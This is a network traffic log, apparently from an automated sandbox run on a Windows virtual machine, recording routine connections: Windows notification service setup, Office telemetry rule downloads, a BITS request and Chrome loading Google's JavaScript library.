2024-11-07 16:25:26 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 52 34 61 69 6f 30 45 72 71 30 2b 36 4d 4c 6d 6c 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 38 30 61 32 63 35 64 31 35 63 36 64 31 61 63 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: R4aio0Erq0+6MLml.1Context: 680a2c5d15c6d1ac
2024-11-07 16:25:26 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-07 16:25:26 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 52 34 61 69 6f 30 45 72 71 30 2b 36 4d 4c 6d 6c 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 38 30 61 32 63 35 64 31 35 63 36 64 31 61 63 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 55 64 4d 74 43 50 4f 37 76 2f 5a 2f 32 67 72 76 5a 55 51 76 4e 64 64 73 4b 34 55 4c 79 4b 72 56 67 58 53 4b 69 35 47 65 67 73 50 49 72 66 5a 69 69 32 6f 78 63 78 30 68 4c 39 41 43 4c 47 32 50 53 61 70 54 48 44 62 63 74 4d 48 32 42 51 30 51 77 6e 6c 6e 50 62 2f 63 51 72 45 49 57 44 65 32 42 62 46 73 55 6b 4e 46 6f 43 49 6b 50 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: R4aio0Erq0+6MLml.2Context: 680a2c5d15c6d1ac<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAUdMtCPO7v/Z/2grvZUQvNddsK4ULyKrVgXSKi5GegsPIrfZii2oxcx0hL9ACLG2PSapTHDbctMH2BQ0QwnlnPb/cQrEIWDe2BbFsUkNFoCIkP
2024-11-07 16:25:26 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 52 34 61 69 6f 30 45 72 71 30 2b 36 4d 4c 6d 6c 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 38 30 61 32 63 35 64 31 35 63 36 64 31 61 63 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: R4aio0Erq0+6MLml.3Context: 680a2c5d15c6d1ac<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-07 16:25:26 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-07 16:25:26 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 70 77 4a 4e 51 64 45 66 45 30 65 4c 37 54 36 34 6b 4c 63 6a 56 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: pwJNQdEfE0eL7T64kLcjVg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.6	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:27 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:27 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 7ec302fb-401e-0067-4b00-2f09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162527Z-17df447cdb56j5xmhC1DFWn91800000004sg000000002sgk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:27 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.6	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:27 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:27 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 9ee4ffc0-f01e-0020-735c-2e956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162527Z-17df447cdb54qlp6hC1DFWqcfc00000004gg00000000frpf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:27 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:27 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:27 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 1b068de9-201e-0085-515f-2e34e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162527Z-17df447cdb56j5xmhC1DFWn91800000004ng00000000e3ut x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:27 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:27 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:27 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 72e3f643-801e-007b-5dd2-2ce7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162527Z-16547b76f7fkj7j4hC1DFW0a9g00000008e000000000486s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:27 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:27 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:27 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: c3d6966f-401e-0016-3ad8-2b53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162527Z-16547b76f7f76p6chC1DFWctqw00000008gg00000000a542 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:27 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	49815	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:27 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-07 16:25:27 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/0790) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Cache-Control: public, max-age=52750 Date: Thu, 07 Nov 2024 16:25:27 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	49817	172.217.16.206	443	2248	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:27 UTC	721	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 16:25:28 UTC	916	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon, 04 Nov 2024 00:14:04 GMT Expires: Tue, 04 Nov 2025 00:14:04 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 317484 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-07 16:25:28 UTC	462	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-11-07 16:25:28 UTC	1378	IN	Data Raw: 6f 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 Data Ascii: ototype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)ret
2024-11-07 16:25:28 UTC	1378	IN	Data Raw: 76 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 Data Ascii: var b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.a
2024-11-07 16:25:28 UTC	1378	IN	Data Raw: 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 Data Ascii: =function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),rejec
2024-11-07 16:25:28 UTC	1378	IN	Data Raw: 2e 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e Data Ascii: .promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=fun
2024-11-07 16:25:28 UTC	1378	IN	Data Raw: 72 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 Data Ascii: ror("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var 